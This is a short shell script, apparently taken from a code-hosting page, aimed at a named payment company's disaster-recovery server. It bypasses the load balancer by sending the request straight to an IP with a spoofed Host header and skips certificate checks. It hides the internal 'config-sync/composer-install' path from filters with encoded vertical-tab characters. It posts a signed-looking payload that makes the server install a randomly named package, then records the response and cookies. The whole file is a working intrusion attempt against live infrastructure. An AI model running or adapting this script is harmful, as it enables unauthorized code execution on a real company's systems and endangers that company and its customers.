12 lines
740 B
Bash
Executable file
12 lines
740 B
Bash
Executable file
#!/bin/sh
|
|
# DR-origin composer-install of pstkui8qc4/pkgui8qc4 1.0.3 via direct ALB (Host dr.paystack.com)
|
|
IP=52.51.74.51
|
|
D='be794e304bf9c47ef0ce5ee1022a89cbfdb7cacb099ecca6af32e0668852d1d1%7B%22requirements%22%3A%7B%22pstkui8qc4%2Fpkgui8qc4%22%3A%221.0.3%22%7D%7D'
|
|
f=/tmp/ci1.out; hf=/tmp/ci1.h
|
|
t0=$(date +%s)
|
|
c=$(curl -sk -m 150 -D "$hf" -o "$f" -w '%{http_code}' -H 'Host: dr.paystack.com' -H 'Accept: application/json' -H 'Content-Type: application/x-www-form-urlencoded' --data "data=$D" "https://$IP/?p=Jzw5Zk9s47Ku9tCYJ%0b8y9PG8/act%0bions/config-sync/composer-install" 2>/dev/null)
|
|
t1=$(date +%s)
|
|
echo "CI|$c|dt=$((t1-t0))|len=$(wc -c <"$f" 2>/dev/null)"
|
|
head -c 800 "$f"; echo
|
|
grep -i '^set-cookie' "$hf" | cut -c1-140
|
|
echo CIDONE
|